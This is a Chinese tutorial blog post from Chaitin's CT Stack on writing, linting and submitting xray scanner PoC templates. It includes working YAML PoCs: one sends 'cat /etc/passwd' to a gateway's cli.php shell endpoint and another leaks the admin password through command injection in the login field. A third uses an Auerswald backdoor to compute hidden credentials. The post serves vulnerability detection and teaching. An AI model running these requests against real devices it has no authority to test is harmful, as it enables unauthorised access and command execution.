长亭百川云 - 文章详情

一个 xray PoC 的编写全过程

CT Stack

21

2022-06-27

序言

​ 在刚接触安全渗透的时候,常对于各种各样庞杂的技术感到有些头皮发麻,sql注入、xss、csrf、ssrf等一众名词也让人有些望而却步。后来在前辈的指引下认识到了 sqlmap,nmap 等工具,在进行了一段时间的学习后,慢慢对 sqlmap 的其中一个参数非常的感兴趣—— m 参数,也就是对文件中存在可注入的链接进行注入测试,这种批量的扫描漏洞的行为极大的激发了我学习的兴趣,同时也想要找到比 sqlmap 能更加准确,扫描切入点更多的工具。

​ 正巧在这个时候,我得知一位大佬通过一个叫 xray 的工具结合自己写的 PoC,扫描出了百度的一个漏洞,获得了不菲的奖励。立马对 xray 产生了很大的兴趣,也是在那个时候,了解了什么是 PoC,EXP 等概念(原谅一个当时在学校刚接触安全的小白在几个月后才接触了这些)

了解概念

PoC (Proof of Concept) - 利用证明

  • PoC,Proof of Concept,意思是 利用证明。可使得使用者能够确认这个漏洞是真实存在的

EXP (Exploit) - 漏洞利用

  • EXP,Exploit 中文意思是 漏洞利用。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得使用者完全了解漏洞的机理以及利用的方法

xray

  • xray 是长亭洞鉴核心引擎中提取出的社区版漏洞扫描神器,支持主动、被动多种扫描方式,自备盲打平台、可以灵活定义 PoC,功能丰富,调用简单,支持 Windows / macOS / Linux 多种操作系统,可以满足广大安全从业者的自动化 Web 漏洞探测需求。

开始使用 xray

​ 在得知 xray 后,我也是很快的开始尝试 xray ,但在那个时候,我同时也了解到了 AWVS,w12scan 等扫描器。于是那个时候的我便开始反复横跳。那个时候的 xray 刚刚开放1.0版本不久,PoC 不像现在的多,功能上也不是那么的强悍,本身自带的爬虫对比 AWVS 等有略显不足,但对于那个时候的我来说,相比较于 w12scan 麻烦的部署方式(对于那个时候的我)和 AWVS 半天时间用掉了我 30G 流量的恐怖(鬼知道为什么那么多), xray 简便的使用方式,多平台通用,Rad 的正式发布,我自然而然的开始向 xray 倾斜。

​ 当我最后沉下心,专注的看了 xray 的各种内容,大佬们分享的文章后,让 xray 在我的心中地位又加重了一分,同时一个月更新4个版本的速度,和社区的活跃也让我非常的感叹。(2021年更新确实慢了不少,但社区还是活跃)

​ 进入工作的一段时间里,我开始频繁的使用 xray,同时也不断地学习渗透的知识, xray 扫描出的漏洞报告简洁明了,让我在不断学习的同时,也借着 xray 扫出的漏洞不断地复现,知识也在不断的印证。直到我开始关注一些前线的漏洞预警,威胁情报等信息的时候,突然发现,很多刚爆出的漏洞,xray 并不能扫描出,因为他的更新频率始终赶不上漏洞出现的频率,就算有师傅已经提交在了Pull requests,但始终是要等下个版本的合并,或自己下载下来再使用。这样还是过于繁琐。再加上提交POC可以换取高级版,增加漏洞扫描类型,也正是在这个时候,我动了自己写一个POC的念头。

如何开始编写

经历

​ 当开始有这个念头后,我第一时间想到了官方文档中我从未涉及过的地方,自定义POC语法 - xray 安全评估工具文档

​ 在通读了一遍文档后,我对 xray PoC 的运行有了简单的概念:通过写一个固定的yml文件,让 xray 以这个 yml 文件的内容进行发包,再通过返回包来判断是否存在漏洞。而我应该做的便是告诉 xray 应该发一个什么样的包,并告诉他应该在返回包中获取到什么样的信息。

​ 同时也认真的学习了一下有关匹配返回包中的信息时使用的表达式,expression表达式(详细内容查看最新文档自定义 PoC 语法 V2 版本

​ 推荐在看完官方文档后,如果还是没有什么头绪或者无从下手,也可以看一下长亭在知乎发的这篇文章:如何编写一个xray POC,虽然其中的格式已经过时,但对于一个poc的成型的思想上还是很有所帮助的,尤其应该关注其中关于POC结构,Rule,expression相关的知识。但值得提醒的一点,如果你没有什么编程基础,是刚接触这方面的小白,建议先无视文章或者官方文档中复杂的规则,先大概有所了解就好,只去了解最基础的,然后先从编写一个只发一个简单的数据包就能确认漏洞存在的POC开始。

​ 在知道了这些后,结合我在github中翻到的P神写的 xray PoC 编写辅助工具 (当然长亭的知乎文章中也有提到,这个工具对不熟悉yaml格式的师傅非常友好),我开始了我的第一个POC编写之旅。

总结

​ 当想要开始写一个POC并贡献POC的时候,我们应基本遵循以下的流程去了解如何去编写一个高质量的POC,如何去提交POC。以便于我们在编写,提交的过程中少走弯路。

  1. xray PoC 审核标准
    • 可以查看该文档了解到社区对于POC的审核规范,收录规范
  2. 自定义 PoC 语法
    • 最主要应该详细阅读的内容,阅读时,建议先不要详细查看脚本格式,可以简单了解一下一个 PoC 中都有哪些部分就好,然后将环境配置好后,建议着重查看与理解一下生命周期相关的内容,这对于提升对POC各部分的理解有着很好的帮助,当对 PoC 的各个部分有了理解之后,后面再写 PoC 相对来说就会熟悉一些
    • 接下来便可以详细的关注脚本格式的内容,可以注意到存在V1与V2两个版本,V1 版本主要服务于 xray 1.8.1 之前,而在 xray 1.8.1 及之后,改为了 V2 版本。所以建议直接观看V2版本就好
  3. 编写高质量poc - xray 安全评估工具文档
    • 这篇文档对于写一个好的POC,或者说一个可以起作用的POC会起到一个非常大的帮助,在编写完POC之后,一定要参考着这篇文档对自己的POC精修一下
    • 文档在应该怎么做这个部分提到的《漏洞检测的那些事儿》这篇文章非常值得反复阅读,非常有利于提高自己的检测方面的严谨的思考逻辑,让自己在遇到一个没见过的漏洞后,可以又快又好地想出一个检测方案。就算是不写POC,也非常推荐阅读,这对提高自己的业务水平,技术能力都非常有帮助。
  4. xray/pocs at master · chaitin/xray · GitHub|Ctstack 安全社区 (chaitin.com)
    • 这是师傅们写了并被收录了的 PoC.在了解到了原理,格式,心中对要写的 PoC 有了一定的想法后,不妨去这两个地方看看,最好能找一个跟自己要写的 PoC 同一个类型的来参考
    • 如果还没开始写,可以参考着其他师傅的来写,在写起来会轻松简单不少
    • 如果已经写完了,也可以参考看与其他师傅写的有何不同,取长补短。同时如果发现自己写的更加严谨,也可以提交修改。

一个 PoC 的诞生

​ 由于现在 xray PoC更新到了 V2,所以以下内容会尽量按照 V2 的来

漏洞选择

​ 漏洞方面,首先先去看官方文档中有关贡献POC方面的要求(如果只是自己使用,可以略过,但提交POC等可以获取高级版,所以建议观看),然后查看Pull requests · chaitin/xray (github.com)CT stack 安全社区 (chaitin.com),查看所选择的漏洞是否有被提交。

​ 最终看下来后,我选择了 ***** 的一个 RCE 漏洞进行编写POC。

​ 这个漏洞是在 web 管理页面上,使用管理员的用户名密码登录设备后,可通过 web 页面执行部分操作命令,设备上有接口来读取这些操作命令的返回值。接口对返回值中存在的恶意指令过滤不充分,导致设备可以通过 CLI 被远程执行一些恶意指令。

开始编写

​ 这个漏洞是通过 POST 的形式向目标的/cli.php?a=shell这个链接发送notdelay=true&command=这样一串数据,而 command 处则可以填写执行的命令。于是我便通过P神的网站很快的编写出了 PoC。

​ 这样的 PoC 在现在看来无疑是非常有问题的,但当时的我在写完后非常的兴奋,在将生成的结果复制出来修改好后,便使用命令对 PoC 进行格式检测xray.exe pl --script nacos-cve-2021-29441.yml(这是最新的检查命令),在检查提示中,使用python3 -m pip install yamllint安装了yamllint(xray检测yaml格式使用的工具),并通过了检测。

PoC 检测

​ 在 PoC 上传到 github 或者社区的时候,接受上传处会首先对 PoC 进行格式方面的检测,如果格式检测有问题,会首先提示修改格式,然后才会有人工进行内容的审核。而上传处进行检测的原理我们可以拿 github 来看:xray 在 github 上以一个项目的形式存在,并设定了 Action,当有人提交 PoC 的时候,会首先执行一个由check_poc.yml规范的动作,具体代码如下:

1name: Check POC
2on: [push, pull_request]
3jobs:
4  check_poc:
5    runs-on: ubuntu-18.04
6    steps:
7      - uses: actions/setup-python@v1
8        with:
9          python-version: 3.7
10      - uses: actions/checkout@v2
11        with:
12          fetch-depth: 1
13      - name: Prepare
14        run: |
15          cd $GITHUB_WORKSPACE && \
16          wget -nv https://github.com/chaitin/xray/releases/download/1.8.2/xray_linux_amd64.zip && \
17          pip3 install yamllint && \
18          unzip xray_linux_amd64.zip && \
19          echo 'update:
20              check: false' > config.yaml
21      - name: Check POC
22        run: |
23          cd $GITHUB_WORKSPACE && \
24          ./xray_linux_amd64 poclint --script "./pocs/*" --filepath "./pocs/" --rules filename,filepath,yamlschema,yamllint,cellint && \
25          ./xray_linux_amd64 poclint --script "./fingerprints/*" --filepath "./fingerprints/" --rules filename,filepath,yamlschema,yamllint,cellint

​ 从上述代码我们可以很清晰地发现他的检测逻辑:获取一个运行环境->进入工作目录->获取最新版 xray 的压缩包->使用pip安装yamllint->解压 xray 并使用poclint --script参数进行检测

​ 明白了这个逻辑我们就可以发现,只要我们在本地使用 xray 进行检测并通过,那么在上传后,就一定会通过检测,可以直接进入人工审核阶段。

检测内容主要是以下几点:

  • 检测文件名称
  • 检测文件名称与文件内容中 name 的值是否对应
  • 检测键的名称是否有问题,该有内容的,是否都存在内容
  • 检测 yaml 语法错误
  • 检测 CEL 表达式的语法等问题

我修改了之前写的一些 PoC 的内容来做示范,大致演示一下 PoC 出现问题时的检测反馈与修改:

例一:

  • **问题:**当出现键值对重复,键命名错误,键缺少值,CEL 表达式中出现不存在的方法或错误的使用方法时,会直接报错,不会执行后续检测流程。
    • **修改建议:**按照提示仔细查看对应错误并修改即可

例二:

在命名的时候,一般会出现上图中的几个格式上的错误:

  • **问题:**文件后缀以 yaml 结尾
    • **修改建议:**将文件名后缀修改为 yml
  • **问题:**文件名与文件中 name 的值不匹配
    • **修改建议:**先将其中一个的值按照官方文档中要求的格式修改对,然后直接复制粘贴就好(注意,name 的值比文件名多了poc-yaml-
  • 可以注意到在检测名称的第五行错误提示,会发现它提示你修改成 name 的值的内容,就算这个内容是有问题的。比如这里明显 name 的值中 cve 大写了,而文件名是没有问题的,但他还是提示修改文件名。所以要此处不报错,首先就是要两者统一。
  • **问题:**当文件名出现大写的时候会产生报错
    • **报错原因:**文件名正则匹配规则:^(?:poc-yaml|custom|fingerprint-yaml)-[a-z0-9\\-]+$,可以注意到,后面匹配并没有大写字母。
    • 修改建议:命名时,对照着官方文档的要求修改。

当 CEL 表达式出现一些问题的时候 cellint 便会检测出,并给予修改意见,按照其修改后的样式修改即可

当都修改完成后,便会如下图展示的反馈,这个时候便可以提交了。

PoC 提交

​ 检测通过后,在CT stack 安全社区 (chaitin.com)填写相关信息,添加测试环境地址(fofa/shodan语句),进行 PoC 的提交。

PoC 分析

1name: poc-*****-eg-rce
2rules:
3  - method: POST
4    path: "/cli.php?a=shell"
5    follow_redirects: false
6    body: |
7      notdelay=true&command=cat /etc/passwd
8    expression: |
9      response.status == 200 && response.body.bcontains(b"\"status\":true,\"data\"") && response.body.bcontains(b"root")
10detail:
11  author: Jarcis
12  links:
13    - http://wiki.peiqi.tech/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html
14

​ 分析这个poc会发现,他虽然格式上没有什么问题,但匆忙写 PoC的我忽略了编写高质量 PoC - xray这篇文章的内容,在编写的时候,匹配上选择检测到 root 这种不严谨的检测语句而不是root:[x*]:0:0:这样的正则检测。当然不同的版本可能内容也会有所变化,所以此处最好不使用这种方式来进行 RCE 的检测。

​ 其次,这个漏洞需要在以管理员身份登录的情况下才可以触发,在进行爬虫扫描的时候,基本不可能触发,所以这个 PoC 如果只是单纯这样,用处也不大。应该结合另一个在登陆口处获取管理员账号密码的漏洞一起来使用才行。

修改 PoC

​ 令我没想到的是,我提交上去后,smile-jpg 师傅对我的 PoC 进行了修改,然后通过了审核。

1name: poc-*****-eg-cli-rce
2set:
3  r1: randomInt(8000, 10000)
4  r2: randomInt(8000, 10000)
5rules:
6  - method: POST
7    path: /login.php
8    headers:
9      Content-Type: application/x-www-form-urlencoded
10    body: |
11      username=admin&password=admin?show+webmaster+user
12    expression: |
13      response.status == 200 && response.content_type.contains("text/json")
14    search: |
15      {"data":".*admin\s?(?P<password>[^\\"]*)
16  - method: POST
17    path: /login.php
18    headers:
19      Content-Type: application/x-www-form-urlencoded
20    body: |
21      username=admin&password={{password}}
22    expression: |
23      response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
24  - method: POST
25    path: "/cli.php?a=shell"
26    follow_redirects: false
27    body: |
28      notdelay=true&command=expr {{r1}} * {{r2}}
29    expression: |
30      response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
31detail:
32  author: Jarcis
33  links:
34    - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md 
35

​ 他添加了在登陆口获取账号密码并登陆的操作,并添加了两个随机数,执行命令时,如果返回了随机数相乘执行的结果,便证明漏洞存在。

​ 看到了这样的修改后,我在学到不少新东西,更了解了应该怎样写好一个 PoC 的同时,也对社区的师傅非常的感动,没有驳回这样一个错漏百出的 PoC 的同时还修改并通过了审核,这对当时的我来说是一剂非常强力的强心剂,也为我后续编写更多的 PoC 提供了很大的帮助。

V2 版本

​ xray在久违的更新后,PoC 的编写格式也更新到了 V2,官方也是将已经存在的 200+,官网也已经更新了 V2 版本的编写教程。当然P神的那个辅助 PoC 生成器只能生成 V1 版本。但我们可以使用 xray 自带的命令将 V1 版本转换为 V2 版本,具体方式则可以通过xray.exe transform v1 --help进行查看。

​ 以下是 V2 版本的上述 PoC 的代码:

1name: poc-*****-cli-rce
2manual: true
3transport: http
4set:
5    r1: randomInt(8000, 10000)
6    r2: randomInt(8000, 10000)
7rules:
8    r0:
9        request:
10            cache: true
11            method: POST
12            path: /login.php
13            headers:
14                Content-Type: application/x-www-form-urlencoded
15            body: |
16                username=admin&password=admin?show+webmaster+user
17        expression: response.status == 200 && response.content_type.contains("text/json")
18        output:
19            search: '"{\"data\":\".*admin\\s?(?P<password>[^\\\\\"]*)".bsubmatch(response.body)'
20            password: search["password"]
21    r1:
22        request:
23            cache: true
24            method: POST
25            path: /login.php
26            headers:
27                Content-Type: application/x-www-form-urlencoded
28            body: |
29                username=admin&password={{password}}
30        expression: response.status == 200 && response.content_type.contains("text/json") && response.headers["Set-Cookie"].contains("user=admin") && response.body.bcontains(b"{\"data\":\"0\",\"status\":1}")
31    r2:
32        request:
33            cache: true
34            method: POST
35            path: /cli.php?a=shell
36            body: |
37                notdelay=true&command=expr {{r1}} * {{r2}}
38            follow_redirects: false
39        expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
40expression: r0() && r1() && r2()
41detail:
42    author: Jarcis
43    links:
44        - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
45

V2Tips

相对于 V1 版本,V2 版本新增的 output 要比之前的 search 好用一些,可以在 output 中处理一些在下个包中会使用到的变量。例如返回的 body 中的数据为:

1["ooo":1,"date":"15.2.2021","tart":"154853254","macaddr":"00:00:00:00:00:00"]

你需要匹配 date 的内容和 tart 的内容,并对 tart 的内容进行 md5 加密再截取,还需要拼接,就可以这样写:

1rules:
2    r1:
3        # 此处为一个 http request 的例子
4        request:
5            method: GET
6            path: "/"
7        expression: |
8            response.status==200 
9        # 相比于 V1 版本新增
10        output:
11            search: '"date\":\"(?P<date>.+?)\",\"tart".bsubmatch(response.body)'   
12            date: search['date']
13            search2: '"tart\":\"(?P<tart>.+?)\",\"mac".bsubmatch(response.body)'   
14            tart: search2['tart']
15            tartmd5: substr(md5(tart),0,16)  # 对匹配到的tart的内容进行md5加密,然后再截取前十六位
16            tartty: date + tartmd5 + "asd"  # 对匹配到的date,格式化好后的tart,字符串"asd"进行拼接
17    r2:
18        # 上述定义出的变量的使用
19        request:
20            method: POST
21            path: "/"
22            body:
23            	a={{date}}&b={{tart}}&c={{tartmd5}}&d={{tartty}}
24        expression: |
25            response.status==200 
26            

需要注意,search 后不能再跟 search,应先将需要的数据提取出来,再进行下一个 search,否则会匹配不到数据。

同时 search 名称最好不要一致,可能会出现报错。

手搓 Digest auth 认证

通过上述的技巧,其实可以发现,我们可以通过对返回包中内容的处理,完成 Digest auth 认证。以下为 PoC 实例:

1name: poc-yaml-auerswald-cve-2021-40859
2transport: http
3set:
4    dcnonce: randomLowercase(8)
5rules:
6    r1:
7        request:
8            method: GET
9            path: "/about_state"
10        expression: response.status == 200 && r'serial.*?\d+.,'.bmatches(response.body) && r'date.+?20[0-9][0-9].,'.bmatches(response.body)
11        output:
12            search: '"serial\":\"(?P<serial>.+?)\",\"date".bsubmatch(response.body)'
13            serial: search["serial"]
14            search: '"date\":\"(?P<date>.+?)\",\"macaddr".bsubmatch(response.body)'            
15            date: search["date"]
16            HA: serial + "r2d2" + date
17            password: substr(md5(HA),0,7)            
18    r2:
19        request:
20            method: GET
21            path: "/tree"
22        expression: response.status == 401
23        output: 
24            search: '"nonce=\"(?P<nonce>.*)\", opaque".submatch(response.headers["WWW-Authenticate"])'
25            nonce: search["nonce"]
26            search: '"opaque=\"(?P<opaque>.*)\",algorithm".submatch(response.headers["WWW-Authenticate"])'
27            opaque: search["opaque"]
28            cnonce: substr(md5(dcnonce),0,16)
29            username: '"Schandelah"'
30            OHA1: username + ":Auerswald:" + password
31            HA1: md5(OHA1)
32            resp: HA1 + ":" + nonce + ":" + "00000001" + ":" + cnonce + ":auth:a94ba59ccc1aaf76cedba69ce4d102d2"
33            respmd5: md5(resp)
34    r3:
35        request:
36            method: GET
37            path: "/tree"
38            follow_redirects: true
39            headers:
40                Authorization: Digest username="Schandelah", realm="Auerswald", nonce="{{nonce}}", uri="/tree", algorithm=MD5, response="{{respmd5}}", opaque="{{opaque}}", algorithm="MD5", qop=auth, nc=00000001, cnonce="{{cnonce}}"
41        expression: response.status == 200 && response.body.bcontains(b"Servicetools")
42expression: r1() && r2() && r3()
43detail:
44    author: Jarcis-cy(https://github.com/jarcis-cy)
45    links:
46        - https://www.redteam-pentesting.de/en/advisories/rt-sa-2021-007/-auerswald-compact-multiple-backdoors
47    summary: 'username:Schandelah;password:{{password}}'
48

通过这个POC,我们可以注意到三点:

1. output中定义变量并给变量赋值的时候,如果是纯字符串,需要先单引号再双引号引起来,否则会报错
1. 在output中进行变量拼接的时候,不能以字符串开头,如果需要以字符串开头,需先将该字符串通过第一点的方式定义出来
1. md5函数中可以直接引用之前的变量,不能在函数中进行字符串拼接

总结

​ 对于我来说,从接触 xray 到编写第一个 PoC 再到现在,让我收获最多的并不是提交 PoC 后换取的高级版,而是在编写 PoC 时的思考,思考漏洞的触发条件,利用方式;在复现漏洞时的操作;在研究其他人编写的POC的精妙之处。这些才是我最大的收获,同时对我也是一个很大的提升。

​ 所以我常劝身边刚开始学习安全的人去尝试编写一下 xray 的 PoC,因为这是一个非常好的入门的机会,一个从小白到懂一点知识的人的机会。往常POC的编写还需要一定的代码知识,需要学习python等语言,学会发包等操作,有一定的门槛。但 xray 的 PoC 的编写不需要,只需要认真的阅读官方的文档,认真的学习他人写的 PoC,在这个过程中不断的思考与实践,就算最后所写的 PoC 不被通过,但我相信这样操作下来就已经有所收获。

相关推荐
广告图
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2